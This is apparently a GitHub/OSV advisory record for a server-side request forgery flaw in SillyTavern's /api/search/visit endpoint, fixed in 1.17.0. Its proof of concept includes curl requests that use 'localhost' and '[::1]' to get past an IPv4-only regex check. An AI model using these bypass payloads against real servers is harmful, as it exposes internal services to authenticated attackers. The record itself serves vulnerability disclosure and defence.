CVE-2026-34526: SillyTavern Incomplete IP Validation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wm7j-m6jm-8797",
  "modified" : "2026-04-06T17:24:59Z",
  "published" : "2026-04-01T21:42:24Z",
  "aliases" : [ "CVE-2026-34526" ],
  "summary" : "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6",
  "details" : "### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -> 127.0.0.1)\n\nA separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked — dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://127.0.0.1/\", \"html\": true}'\n# Returns: 400 (blocked)\n\n# Bypassed — \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://localhost/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed — IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://[::1]/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34526"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:42:24Z",
    "nvd_published_at" : "2026-04-02T18:16:29Z"
  }
}